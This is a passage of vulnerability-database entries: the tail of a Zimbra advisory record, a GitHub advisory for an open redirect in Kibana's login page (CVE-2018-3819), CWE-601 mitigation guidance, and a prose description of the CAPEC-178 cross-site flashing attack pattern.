"id": "GHSA-p8fv-37q7-2pr7",
"modified": "2024-04-04T04:53:24Z",
"published": "2023-06-15T21:30:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24030"
},
{
"type": "WEB",
"url": "https://wiki.zimbra.com/wiki/Security_Center"
},
{
"type": "WEB",
"url": "https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P999-W4H4-238V
Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-05-13 01:14The fix in Kibana for ESA-2017-23 was incomplete. With X-Pack security enabled, Kibana versions before 6.1.3 and 5.6.7 have an open redirect vulnerability on the login page that would enable an attacker to craft a link that redirects to an arbitrary website.
{
"affected": [],
"aliases": [
"CVE-2018-3819"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-30T20:29:00Z",
"severity": "MODERATE"
},
"details": "The fix in Kibana for ESA-2017-23 was incomplete. With X-Pack security enabled, Kibana versions before 6.1.3 and 5.6.7 have an open redirect vulnerability on the login page that would enable an attacker to craft a link that redirects to an arbitrary website.",
"id": "GHSA-p999-w4h4-238v",
"modified": "2022-05-13T01:14:31Z",
"published": "2022-05-13T01:14:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-3819"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/elastic-stack-6-1-3-and-5-6-7-security-update/117683"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Use a list of approved URLs or domains to be used for redirection.
Mitigation
Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.
Mitigation MIT-21.2
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation
Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
Mitigation MIT-6
Strategy: Attack Surface Reduction
- Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-178: Cross-Site Flashing
An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.